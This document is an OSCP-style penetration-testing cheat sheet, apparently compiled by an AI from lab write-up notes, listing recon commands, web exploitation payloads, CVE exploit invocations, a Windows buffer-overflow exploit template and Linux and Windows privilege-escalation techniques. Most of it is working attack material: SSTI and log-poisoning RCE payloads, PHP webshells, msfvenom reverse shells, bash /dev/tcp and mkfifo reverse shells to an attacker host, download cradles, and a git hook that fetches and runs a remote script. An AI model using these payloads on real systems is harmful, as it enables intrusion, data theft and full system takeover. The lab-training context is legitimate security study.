CHEAT-SHEET

AI Instructions

Go through all the report.md and notes.md files and extract all of the commands and techniques into this cheat sheet.

OSCP / Pentest Cheat Sheet

Extracted from all `notes.md` / `report.md` files under `boxes/htb/`, `boxes/provinggrounds/`, and `boxes/hackerblueprint/`. Commands are generalized with placeholders (`<IP>`, `<USER>`, `<DOMAIN>`, etc.) where the original notes used a hardcoded value.

Table of Contents

---

1. Recon / Port Scanning

```
nmap <IP> -sS -sV -oN nmap.txt
```

Basic SYN + version scan with output saved. (Active)

```
nmap -sS -sV -p- <IP>
```

Full TCP port range scan — catches non-standard ports (e.g. FTP admin panels on high ports). (Monitorsfour, AuthBy)

```
nmap -sC -sV -oN nmap.txt <IP>
```

Default NSE scripts + version detection. (SecNotes)

```
nmap -sV -sC -T4 -oA initial <target>
```

Common recon scan with all-format output. (Billyboss, Squid, Monster, Cobweb)

```
nmap -p 80,443 --script http-enum <IP>
```

Targeted HTTP enumeration script — found `/info.php`, `/phpinfo.php` directly instead of rabbit-holing with dirb. (Poison)

```
sudo nmap -sVC <IP> --script vuln
```

Vuln-scanning NSE scripts; flagged CVE-2009-3103 (SMBv2) on a Windows 2008 R2 box. (Internal)

```
rustscan -a <IP> -r 1-65535 -- -sC -sV -oN rustscan.txt
```

Faster full-port scan than nmap, pipes results into nmap scripts. (MonitorsFour, SecNotes)

```
nmap -p- -Pn -iL ips -v --min-rate 1000 --max-rtt-timeout 1000ms --max-
retries 5 -oN nmap_ports.txt
nmap -Pn -iL ips -sV -sC -v -oN nmap_sVsC.txt
```

Full-port scan across a target list file with aggressive timing, followed by a targeted `-sV -sC` pass on discovered ports — faster than scanning each host individually. (ADChain_01)

```
netexec smb 10.0.2.0/24
```

Sweep an entire subnet for live SMB hosts — one shot reveals hostnames, OS build, domain, signing status, and null-auth support for every machine on the LAN. (ADChain_01)

```
nmap -sU --top-ports 100 <IP>
nmap -sU -p 53,69,88,123,161,162,389,500 <IP>
```

UDP scan — easy to forget, catches SNMP/TFTP/Kerberos/NTP/DNS services TCP scans miss. Slow, so scope to top-ports or a specific list rather than `-p-`.

```
dig @<IP> <domain>
```

Query DNS service directly to confirm what's listening on port 53. (Forest)

```
dig axfr @<IP> <domain>
```

Attempt a DNS zone transfer (low-hanging fruit, usually fails on hardened DCs). (Forest, Hokkaido)

```
nbtscan <IP>
```

NetBIOS name scan. (Hokkaido)

```
smbclient -L //<IP> -N
```

Anonymous/null-session SMB share listing. (Active, Forest, SecNotes, Shenzi, Hokkaido)

```
smbmap -H <IP>
smbmap -H <IP> -u '<user>' -p '<pass>'
```

Enumerate SMB share permissions, with or without creds. (Active, SecNotes)

```
crackmapexec smb <IP> --shares
netexec smb <IP>
nxc smb <IP> -u '<user>' -p '<pass>' --shares
```

CME/NetExec (nxc replaces crackmapexec) SMB enum — shows OS, domain, signing, null-auth status. (Active, Forest, SecNotes, Hokkaido)

```
rpcclient -U "" -N <IP>
# then inside:
enumdomusers
enumdomgroups
querygroup 0x200
querygroupmem 0x200
```

Null-session RPC enumeration of AD users/groups when SMB null auth is allowed. (Forest, Hokkaido)

```
enum4linux -a <IP>
enum4linux <IP>
```

All-in-one SMB/RPC/user enum (very verbose). (Forest, ClamAV, Shenzi)

```
snmpwalk -v1 -c public <IP>
snmp-check <IP>
```

SNMP enumeration with default "public" community string — leaked OS version and running processes. (ClamAV)

```
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -b "DC=<domain>,DC=com" "(objectClass=user)"
sAMAccountName
```

Anonymous LDAP enumeration of naming contexts / users. (Hokkaido)

```
telnet <host> 143
a1 login "<user>" "<pass>"
a1 list "" *
a1 select INBOX
a1 fetch <n> body[text]
a1 fetch <n> body[header]
```

Manual IMAP session to read mailboxes after guessing creds. (Hepet)

```
smtp-user-enum -M VRFY -U <userlist> -t <host>
nc <host> 25
HELO test
VRFY <user>
EXPN <user>
```

SMTP user enumeration via VRFY/EXPN. (ClamAV, Hepet)

---

2. Web Enumeration

```
gobuster dir -u http://<target>/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://<target>/ -w <wordlist> --exclude-length <N> -x
php,txt,html
```

Directory brute force, with optional length exclusion + extension fuzzing. (bullyBox, Cobweb, Access, Slort)

```
gobuster dns -d <target> -w
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
```

Subdomain brute force via DNS. (Hokkaido)

```
ffuf -u http://<target>/FUZZ -w /usr/share/seclists/Discovery/Web-
Content/raft-medium-words-lowercase.txt -fc 403,404
```

Directory fuzzing, filtering out 403/404. (MonitorsFour)

```
ffuf -c -u http://<target>/ -H "Host: FUZZ.<target>" -w
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 3
```

Virtual-host/subdomain fuzzing via Host header, filtered by word count. (MonitorsFour)

```
ffuf -w <users>:USER -w <passwords>:PASS \
  -u http://<target>/login -X POST \
  -d '{"username":"USER","password":"PASS"}' \
  -H "Content-Type: application/json" \
  -fr "Unauthorized" -fc 200
```

Custom JSON-body login brute force with ffuf, filtering on a regex/response and status code. (Interface)

```
dirb http://<target>/
```

Classic directory brute force. (bullyBox, Forest)

```
dirsearch -u http://<target>
```

Alternate directory brute forcer — found `/login`, `/register`, `/web.config` that gobuster/dirb missed. (LaVita)

```
nikto -h <target>
```

Web server vuln scanner. (MonitorsFour, ClamAV)

```
wpscan --url http://<target> --enumerate u,vp,vt --api-token <token>
wpscan --url http://<target> -e ap --plugins-detection aggressive
wp-cli --path=<path> user list --allow-root
```

WordPress-specific enum — usernames, vulnerable plugins/themes (needs a free WPVulnDB/WPScan API token for CVE data).

```
droopescan scan drupal -u http://<target>
```

Drupal-specific version/module scanner (Drupalgeddon-style CVEs are common OSCP-lab targets).

```
whatweb <target>
```

Fingerprint web technologies. (MonitorsFour)

```
cewl <url> > words.txt
cewl --lowercase <url> | grep -v CeWL > words.txt
```

Generate a custom wordlist from page content — feed into hydra for login brute force. (Billyboss, Hepet, Cobweb, Monster, Roquefort)

```
hydra -I -f -L <users> -P <passwords> "http-post-form://<host>:
<port>/<path>:username=^USER64^&password=^PASS64^:F=403"
```

HTTP POST form brute force (base64-encoded fields via `^USER64^` / `^PASS64^`). (Billyboss)

```
hydra -L users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt
<host> ftp
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-
betterdefaultpasslist.txt ftp://<host>:21
```

FTP credential brute force; `-C` uses a combined user:pass list which is often faster than separate lists. (AuthBy, Exghost)

```
wget -r ftp://Anonymous:<anypass>@<host>
```

Recursively mirror an anonymous FTP server. (Algernon, Shenzi)

```
searchsploit <keyword>
searchsploit -p <EDB-ID>
searchsploit --path <EDB-ID>
cp /usr/share/exploitdb/exploits/<path> ./
```

Search local exploit-db mirror and copy the PoC locally for editing. (used across nearly every ProvingGrounds box)

```
git-dumper http://<target>/.git git-loot
```

Dump an exposed `.git/` directory to recover source + secrets (found DB creds in `bb-config.php`). (bullyBox)

```
wget http://<target>/api/users
jq -r '.[]' users.json > users.txt
```

Pull an unauthenticated API endpoint to build a username list. (Interface)

```
nxc smb <host> -u '<user>' -p '<pass>' -M spider_plus
```

Spider all readable SMB shares and dump a JSON manifest of files found. (SecNotes)

```
exiftool *.jpg
strings <file.jpg>
```

Check images for EXIF metadata / embedded strings. (Hepet)

---

3. Web Exploitation (by vuln type)

LFI / Log Poisoning

```
curl "http://<target>/browse.php?file=/var/log/apache2/access.log"
curl -A "<?php system(\$_GET['cmd']); ?>" http://<target>/index.php
curl "http://<target>/browse.php?file=/var/log/httpd-access.log&cmd=id"
```

Classic LFI-to-RCE via log poisoning: inject PHP into the User-Agent header, then include the access log to execute it. (Poison)

SQL Injection

```
curl "http://<target>/%22 AND 1=2 UNION SELECT 'echo shell_exec(\"id\");'--
"
```

Blind/UNION SQLi into a PHP `eval()`-driven router — the injected `shell_exec()` call runs as PHP once the malicious SQL result is `eval`'d. (Cobweb)

```
$sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s +
"'";
```

Ruby on Rails string-concatenated SQL query, vulnerable via the `URL` param (identified, not fully exploited due to CSRF token). (MedJed)

XXE

```
curl -s -X POST \
  -H 'Content-Type: text/xml;charset=UTF-8' \
  -H 'SOAPAction: "<action>"' \
  --data-binary '<?xml version="1.0"?>
<!DOCTYPE uid [<!ENTITY stolen SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope ...><soapenv:Body>
<urn:checkout ...><uid xsi:type="xsd:string">&stolen;</uid></urn:checkout>
</soapenv:Body></soapenv:Envelope>' \
  'http://<target>:8888/<service>/soap11/checkout' | xmllint --format -
```

SOAP/XML XXE against a Ladon service to read arbitrary local files (`/etc/passwd`, WebDAV credential files). (Muddy)

SSTI (Server-Side Template Injection)

```
{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
${{7*7}}
```

Probe every input reflected into a page with these — a `49` back (instead of literal text) confirms SSTI and fingerprints the engine (Jinja2/Twig/Freemarker/ERB/Velocity respectively). One of

the most common OSCP-lab web footholds; check any field that echoes back user input (search, name, comment).

```
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').
read() }}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__ %}{{x()._module.__builtins__['__import__']
('os').popen("id").read()}}{% endif %}{% endfor %}
```

Jinja2 RCE (Flask) — walk Python's object graph from a builtin to `os.popen`; the `subclasses()` variant is the fallback when `config` / `self` aren't in scope.

```
{{['id']|filter('system')}}
{{['id','']|filter('shell_exec')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
```

Twig RCE (PHP) — abuse a filter that resolves to a PHP function name (`system` / `shell_exec`) and calls it with the array as args.

```
${T(java.lang.Runtime).getRuntime().exec('id')}
```

Freemarker/Spring SpEL RCE — invokes `Runtime.exec` directly via a Spring Expression Language sink.

XPATH Injection

```
')]+|+//password%00
```

Injected into a search parameter (`?work=<payload>&action=search`) to dump all XPath node values including `//password`. (Wheels)

File Upload Bypass

```
filename=".htaccess"
AddType application/x-httpd-php .php16
```

Upload a modified `.htaccess` via Burp to register a new "PHP" extension (`.php16`) after `.php` was blocked, then upload `payload.php16`. (Access)

CSRF via GET

```
http://<target>/change_pass.php?user=<victim>&password=
<newpass>&confirm_password=<newpass>&submit=submit
```

Because `change_pass.php` accepted GET as well as POST, the whole password-reset form could be triggered via a URL sent to the victim (simulated CSRF). (SecNotes)

Command Injection

```
; nc -lvp 4444 -e /bin/bash ;
```

Bind-shell payload injected into a vulnerable "backup" feature field, after reverse-shell payloads (`;bash -i>&/dev/tcp/...`, base64-encoded, curl|bash, wget|bash) all failed due to shell metacharacter interference. (Interface)

Webshell via file manager

```
<pre><?php system($_GET['cmd']) ?></pre>
```

Simple PHP webshell dropped through an authenticated file manager once write access to a web directory was obtained. (Craft, Squid)

---

4. Initial Access / Exploits (CVE-specific)

```
# CVE-2025-24367 — Cacti unauthenticated command injection via type-juggling
magic hash
curl "http://<host>/user?token=AAAA"
msfconsole; use exploit/linux/http/cacti_unauthenticated_cmd_injection
python CVE-2025-24367.py -u '<user>' -p '<pass>' -i <attacker_ip> -l <port>
--url 'http://<cacti-host>'
```

(MonitorsFour)

```
# CVE-2019-7214 — SmarterMail Build 6985 RCE
searchsploit smartermail   # windows/remote/49216.py
python 49216.py   # HOST/PORT/LHOST/LPORT set in-file
```

(Algernon)

```
# CVE-2022-26134 — Atlassian Confluence 7.13.6 OGNL injection RCE
git clone https://github.com/nxtexploit/CVE-2022-26134
python CVE-2022-26134.py http://<host>:8090 "<cmd>"
# reverse shell (when raw cmd injection can't pop a shell):
git clone https://github.com/jbaines-r7/through_the_wire/
python through_the_wire.py --rhost <host> --rport 8090 --lhost <attacker_ip>
--lport <port> --protocol "http://" --reverse-shell
```

(Flu)

```
# CVE-2021-3129 — Laravel 8.4.x Ignition debug-mode RCE
python CVE-2021-3129.py --host http://<target>
execute nc <attacker_ip> <port> -e /bin/bash
```

Requires the app to be in `APP_DEBUG=true` (enable via a registered account first). (LaVita)

```
# Sonatype Nexus Repository Manager 3.21.0-05 authenticated RCE (EDB-49385)
python 49385.py   # URL/CMD/USERNAME/PASSWORD vars edited in-file, CMD is
base64 PowerShell download-cradle
```

Auth obtained by brute-forcing the Nexus login with `cewl`-generated wordlist + hydra. (Billyboss)

```
# CVE-2020-0796 — SMBGhost (RCE, not just LPE, when run remotely)
wget https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-
2020-0796-local_static.zip
# also tried: https://github.com/jamf/CVE-2020-0796-RCE-POC
(SMBleedingGhost.py) — required victim to have python, failed
```

(Billyboss)

```
# CVE-2021-22204 — ExifTool 12.23 RCE via crafted DjVu metadata
sudo apt install -y djvulibre-bin
python 50911.py -s <attacker_ip> <port>
curl -F myFile=@image.jpg http://<target>/exiftest.php
```

(Exghost)

```
# CVE-2021-4034 — PwnKit (polkit pkexec LPE)
wget https://raw.githubusercontent.com/joeammond/CVE-2021-
```

```
4034/refs/heads/main/CVE-2021-4034.py
python3 CVE-2021-4034.py
```

Identify via `ls -lash /usr/lib/policykit-1/polkit-agent-helper-1` (SUID + old build date). (Exghost, Snookums; attempted on Cobweb)

```
# CVE-2017-1000028 — Oracle GlassFish 4.1 directory traversal
msfconsole; use scanner/http/glassfish_traversal
set RHOSTS <host>; set RPORT 4848
set FILEPATH /SynaMan/config/AppConfig.xml
```

Leaked SynaMan SMTP creds reused for RDP login. (Fish)

```
# CVE-2019-18194 — TotalAV DLL-hijack LPE
msfvenom -p windows/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f dll >
totalavpwn.dll
# place at C:\Users\<user>\MountPoint\version.dll, scan+quarantine with
TotalAV,
# New-Item -ItemType Junction -Path "C:\Users\<user>\MountPoint" -Target
"C:\Windows\Microsoft.NET\Framework\v4.0.30319"
# restore threat in TotalAV, then: shutdown /r /t 0
```

(Fish)

```
# Argus Surveillance DVR 4.0.0.0 directory traversal (EDB-45296) + CVE-2022-
25012 password cipher
curl "http://<host>:8080/WEBACCOUNT.CGI?
OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2F..%2F..%2F..%2F..%2F..%2F<path>&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPAS
SWORD="
# used to steal Users/<user>/.ssh/id_rsa AND
C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
python 50130.py   # decodes Argus's static-cipher "Password0=" value into
plaintext
```

(DVR4)

```
# CVE-2021-42392 — H2 Database 1.4.199 JNI/alias RCE (all attempts failed on
Jacko)
CREATE ALIAS IF NOT EXISTS EXEC AS $$ void exec(String cmd) throws
java.io.IOException { Runtime.getRuntime().exec(cmd); } $$;
CALL EXEC('<cmd>');
```

Requires `javac` on the victim's PATH; JNI-loaded native-library variant was also tried and failed. (Jacko — stuck)

```
# CVE-2022-3552 — BoxBilling <=4.22.1.5 unrestricted file upload RCE
POST /index.php?_url=/api/admin/Filemanager/save_file
order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>
```

Requires authenticated admin session + 1 existing order. (bullyBox)

```
# CVE-2020-10220 — rConfig 3.9 SQL injection (dump users/hashes, unauth)
python rconfig_CVE-2020-10220.py https://<host>:8081/
# CVE-2019-19509 — rConfig post-auth RCE
python 47982.py https://<host>:8081/ <user> <pass> <attacker_ip> <port>
```

(QuackerJack)

```
# Gitea 1.7.5 authenticated RCE via malicious git repo hook (EDB-49383) —
attempted, failed
python 49383.py
# manual bare-repo + post-receive hook approach (also failed):
git init --bare
echo -e '#!/bin/bash\nwget http://<attacker>/reverse.sh -O /tmp/r.sh &&
chmod +x /tmp/r.sh && /tmp/r.sh' > hooks/post-receive
git daemon --reuseaddr --base-path=/tmp --export-all --enable=receive-pack
```

(Roquefort — stuck)

```
# CVE-2024-9796 — WP-Advanced-Search plugin unauthenticated SQLi (dump WP
users/hashes)
python poc.py -i <target>
```

(Workaholic)

```
# CVE-2021-35448 — RemoteMouse 3.008 unauthenticated command injection + LPE
git clone https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
python RemoteMouse-3.008-Exploit.py -t <target> -c '<cmd>'
# LPE: open RemoteMouse GUI (runs as SYSTEM) -> Settings -> Change "Image
Transfer Folder" ->
# Save As dialog -> type C:\Windows\System32\cmd.exe -> spawns admin cmd
```

(Mice)

```
# CVE-2009-3103 — SMBv2 negotiate function-index heap corruption (Windows
2008 R2)
msfconsole; use windows/smb/ms09_050_smb2_negotiate_func_index
```

Non-deterministic — may need several tries; msf module succeeded where standalone Python EDB PoCs (`40280` , `ms09-050_CVE-2009-3103`) failed. (Internal)

```
# CVE-2020-11107 — XAMPP <7.4.4 xampp-control.ini local privesc
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\xampp\shell.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
```

Rewrites the path XAMPP Control Panel launches on next open, triggering the payload with elevated rights. (Monster, Slort)

```
# JuicyPotato / Juicy Potato x86 — Windows Server 2008 R2
SeImpersonatePrivilege LPE
JuicyPotato.exe -t * -p shell.exe -l <port> -c {<CLSID from ohpe/juicy-
potato CLSID list>}
```

Use the x86 build for older 32-bit-only targets. (AuthBy)

```
# gerapy 0.9.7 authenticated RCE (EDB-50640 / CVE-2021-43857)
```

Requires creating a "project" in gerapy first, or the exploit silently fails. (Levram)

```
# CVE-2021-43857 style H2 alt path — TFTP.EXE scheduled-task overwrite (not
a CVE, a misconfig)
move TFTP.EXE TFTP2.EXE
certutil.exe -urlcache -f http://<attacker>/shell.exe C:\Backup\TFTP.EXE
```

A world-writable directory (`C:\Backup`) had a task that ran `TFTP.EXE` every 5 minutes as SYSTEM — overwrite the binary with a reverse-shell payload and wait. (Slort)

```
# Simple PHP Photo Gallery v0.8 — Remote File Inclusion (EDB-48424)
curl "http://<target>/image.php?img=http://<attacker_ip>/shell.php"
```

(Snookums)

```
# Apache Tomcat Manager — authenticated WAR upload RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o
shell.war
curl -u '<user>:<pass>' -T shell.war
"http://<target>:8080/manager/text/deploy?path=/shell"
curl "http://<target>:8080/shell/"
```

Classic Tomcat manager RCE once default/weak `manager-gui` / `manager-script` creds are found (often `tomcat:s3cret`, `admin:admin`, or from `tomcat-users.xml` on an LFI). `manager/text/deploy` is the non-interactive API path.

---

5. Buffer Overflow (Windows)

Standard OSCP-style stack-overflow methodology against a 32-bit Windows binary/service, using Immunity Debugger + `mona.py` on the Windows attack VM.

```
#!/usr/bin/env python3
import socket
ip, port = "<target>", <port>
buffer = b"A" * 100  # increase until crash to find approx offset
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(buffer)
s.close()
```

Fuzzing skeleton — send an increasing cyclic pattern (or `A`*N loop) until the service crashes; note the crash size range.

```
!mona config -set workingfolder C:\mona\%p
!mona pc 3000                    # pattern_create
!mona pattern_offset EIP <value>  # confirm exact offset once EIP shows the
pattern
```

Mona generates a 3000-byte non-repeating pattern; after the crash, feed the EIP value back to mona to get the exact offset.

```
buffer = b"A" * <offset> + b"B" * 4 + b"C" * (total_len - offset - 4)
```

Confirm offset control: EIP should read exactly `42424242` (`BBBB`).

```
!mona bytearray -b "\x00"
!mona compare -f C:\mona\<proc>\bytearray.bin -a
<ESP_address_after_sending_full_bytearray>
```

Generate a full `\x00`-excluded badchar array, send it in the buffer, then diff the stack dump against the clean array to find which bytes get mangled — repeat, adding each new badchar to `-b`, until the comparison is clean.

```
!mona jmp -r esp -cpb "\x00\x0a\x0d<other badchars>"
```

Find a `JMP ESP` (or equivalent) address in a non-ASLR/non-SafeSEH module, excluding badchars — this becomes the return address (little-endian) that redirects execution into the buffer.

```
buffer  = b"A" * <offset>
buffer += b"\xAF\x11\x50\x62"          # JMP ESP addr, little-endian, from
mona
buffer += b"\x90" * 16                 # NOP sled
buffer += shellcode                    # msfvenom -b badchars payload below
```

```
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f python -b
'\x00\x0a\x0d' EXITFUNC=thread
```

Final exploit assembly: offset padding → return address → NOP sled → bad-char-free shellcode. `EXITFUNC=thread` avoids crashing the whole process on shell exit.

```
!mona modules
```

Lists loaded modules with their ASLR/SafeSEH/rebase status — use to pick a module safe to search for `JMP ESP` in.

---

6. Reverse Shells / File Transfer

```
nc -nvlp <port>
rlwrap nc -lvnp <port>
```

Listener for incoming reverse shells; `rlwrap` gives readline/arrow-key support.

```
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o
shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o
shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -
o meter.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf
-o shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf -o
shell.elf
msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw > shell.php
msfvenom -p cmd/unix/reverse_bash LHOST=<ip> LPORT=<port> -f raw >
reverse.sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f dll >
payload.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o
malicious.msi
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=<ip>
LPORT=<port> -e x86/unicode_mixed -b '<badchars>' BufferRegister=EAX -f
python
```

Generate reverse shell payloads in whatever format the target/vector needs (exe, elf, raw PHP, DLL for hijacking, MSI for AlwaysInstallElevated, encoded-shellcode Python for buffer overflows). (used across nearly every box)

```
python3 -m http.server 80
python3 -m http.server 8080
```

Serve payloads/tools to the victim over HTTP.

```
certutil.exe -urlcache -f http://<attacker_ip>/<file> <file>
Invoke-WebRequest -Uri "http://<attacker_ip>/<file>" -OutFile "<path>"
iex(new-object
net.webclient).downloadstring("http://<attacker_ip>/SharpHound.ps1")
```

Windows-side file download tricks — `certutil` works even when PowerShell download cmdlets are blocked.

```
wget http://<attacker_ip>/<file>
```

Linux-side file download in a reverse shell.

```
smbclient '//<host>/<share>' -U '<user>' --password '<pass>' -c 'put
<local_file> <remote_file>'
smbclient //<host>/<share> -N -c 'prompt OFF;recurse ON;lcd <local_dir>;mget
*'
```

Upload a single file over SMB, or recursively download an entire SMB share. (Active, SecNotes)

```
scp -o PubkeyAuthentication=no <user>@<host>:<remote_path> .
```

File transfer over SSH/SCP, disabling pubkey auth when the server only allows password auth for that flag combo. (Poison)

```
git clone https://github.com/pentestmonkey/php-reverse-shell
cp /usr/share/webshells/php/php-reverse-shell.php ./
cp /usr/share/webshells/php/simple-backdoor.php ./
```

Stock PHP reverse-shell/webshell templates bundled on Kali — edit `$ip` / `$port` before uploading. (bullyBox, Snookums, SecNotes)

```
https://www.revshells.com/  ->  "PHP Ivan Sincek"
```

Web-based reverse shell generator; the "Ivan Sincek" PHP variant was the reliable one used repeatedly. (Shenzi, Slort, Snookums, Interface)

```
echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64 -w 0
# inject: powershell -EncodedCommand <base64-of-UTF16LE-command>
echo -n '<powershell command>' | iconv -t UTF-16LE | base64 -w 0
```

Base64/UTF-16LE encode PowerShell one-liners to smuggle them through filters that break on special characters (`&` , quotes). (Billyboss, Interface)

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
```

Upgrade a dumb reverse shell to a semi-interactive TTY. (bullyBox, QuackerJack, Exghost)

```
# after pty.spawn:
export TERM=xterm
^Z                                      # background the shell
```

```
stty raw -echo; fg                          # on attacker terminal, then
foreground
# once back in the shell, press Enter, then:
stty rows <N> columns <N>                   # match `stty size` from attacker
term
```

Full TTY upgrade — `stty raw -echo` gives proper line editing/ctrl-c/tab-complete/vim support, `stty rows/columns` fixes screen redraw for full-screen tools. Get `<N>` values from `stty size` in a second attacker terminal.

```
rlwrap nc -lvnp <port>
```

Alternative to the pty/stty dance — `rlwrap` on the listener alone gives arrow-key history without touching the victim shell at all.

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker_ip>
<port> > /tmp/f
```

Named-pipe (`mkfifo`) reverse shell — useful when injecting through a size-limited or quote-mangling parameter (e.g. into a PHP file via cron overwrite). (LaVita)

```
smbget -R smb://<host>/<share> -U '' -N
```

Alternative recursive SMB download tool (noted as not working reliably vs. `smbclient mget`). (Active)

---

7. Linux Privilege Escalation

```
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null | grep -v snap
```

Find SUID binaries. (Wheels, Workaholic, QuackerJack, Cobweb)

```
getcap -r / 2>/dev/null
```

Find binaries with elevated Linux capabilities (distinct from SUID). (Wheels, ClamAV, Levram)

```
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)'
```

Find world-writable directories — useful for planting cron/PATH-hijack payloads. (Poison, LaVita, Workaholic, Muddy)

```
wget https://github.com/peass-ng/PEASS-ng/releases/download/<ver>/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh
```

Automated privesc enumeration — flags kernel CVEs, SUID files, writable cron scripts, etc. (Cobweb, LaVita, Snookums)

```
wget https://github.com/DominicBreuker/pspy/releases/download/<ver>/pspy64
chmod +x pspy64 && ./pspy64 -pf -i 1000
```

Monitor running processes without root to catch cron jobs executing as root in real time. (Flu, LaVita, Muddy)

```
sudo -l
```

List commands the current user can run as another user/root. (LaVita, bullyBox)

```
sudo bash
sudo su
```

Direct root shell when the user is a blanket sudoer. (bullyBox)

```
# GTFOBins: find (SUID)
find . -exec /bin/sh -p \; -quit
```

Spawn a privileged shell via SUID `find`, `-p` preserves the elevated EUID. (QuackerJack)

```
# GTFOBins: composer (sudo NOPASSWD)
mv composer.json composer.json.bak
echo '{"scripts":{"x":"nc <attacker_ip> <port> -e /bin/bash"}}' >
composer.json
sudo composer --working-dir=<path> run-script x
```

Abuse a `sudo` rule permitting `composer` with args to run arbitrary scripts as root. (LaVita)

```
# Cron job PATH / writable script hijack
echo 'chmod +s /bin/bash' >> /opt/<cron-script>.sh
```

```
# wait for cron to fire, then:
bash -p
```

Append to a world-writable script that root's crontab executes; escalate by SUID-ing bash. (Flu)

```
# Fake binary via writable cron PATH entry (e.g. netstat run every minute by
root from /dev/shm)
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >
/dev/shm/netstat
chmod +x /dev/shm/netstat
```

Plant a malicious binary earlier in `$PATH` than the real one, for a cron job that doesn't use an absolute path. (Muddy)

```
# Shared-object hijack for a SUID binary
strings /path/to/suid_binary   # reveals it dlopen()s e.g.
/home/<user>/.lib/libsecurity.so
gcc -fPIC -shared -o /home/<user>/.lib/libsecurity.so
/home/<user>/.lib/libsecurity.c
/path/to/suid_binary
```

```
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
    setuid(0); setgid(0);
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

When a SUID binary loads a shared object from a directory writable by the current user, drop a malicious `.so` exporting the same symbol (found via `strings`) to get code exec as root. (Workaholic)

```
# ld.so.preload injection via SUID screen 4.5.0 (EDB-41154) — attempted,
failed (no gcc on victim)
umask 000
screen -D -m -L ld.so.preload echo -ne "\n/tmp/libhax.so"
screen -ls
/tmp/rootshell
```

(Cobweb — stuck)

```
# GTFOBins: pkexec (CVE-2021-4034 "PwnKit")
python3 CVE-2021-4034.py
```

See section 4 for full details. (Exghost, Snookums)

---

8. Windows Privilege Escalation

```
whoami /priv
whoami /all
whoami /groups
```

Check current privileges/group membership before choosing a privesc path.

```
wget https://github.com/peass-ng/PEASS-
ng/releases/download/<ver>/winPEAS.bat
certutil.exe -urlcache -f http://<attacker>/winPEAS.bat winPEAS.bat
winPEAS.bat
```

Automated Windows privesc enumeration. (AuthBy, Craft, Slort)

```
wget
https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-
NET4.exe
GodPotato-NET4.exe -cmd "<attacker_binary_or_cmd> <attacker_ip> <port> -e
cmd.exe"
```

Abuse `SeImpersonatePrivilege` for SYSTEM (successor to Rotten/Juicy Potato on newer Windows). (Billyboss, Craft, Squid, Access-adjacent)

```
wget
https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe
FullPowers.exe
```

Restore full default token privileges for service accounts like `LOCAL SERVICE` / `NETWORK SERVICE` whose tokens are normally stripped — run before GodPotato/PrintSpoofer. (Billyboss, Squid)

```
wget
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.
```

```
exe
PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -c "nc.exe <attacker_ip> <port> -e cmd.exe"
```

Alternative `SeImpersonatePrivilege` abuse via the print spooler (tried before GodPotato on Billyboss; failed there but is the standard first try).

```
JuicyPotato.exe -t * -p shell.exe -l <port> -c {<CLSID>}
Juicy.Potato.x86.exe -t * -p shell.exe -l <port> -c {<CLSID>}
```

Older `SeImpersonatePrivilege` abuse tool for Windows Server 2008/2012 — pick CLSID matching the OS from ohpe/juicy-potato's CLSID list; use the x86 build on 32-bit-only targets. (AuthBy)

```
RunasCs.exe <user> <pass> cmd.exe -r <attacker_ip>:<port>
```

Run a command as another local user with password in hand, without a full logon session, and pipe the result to a reverse shell. (Access)

```
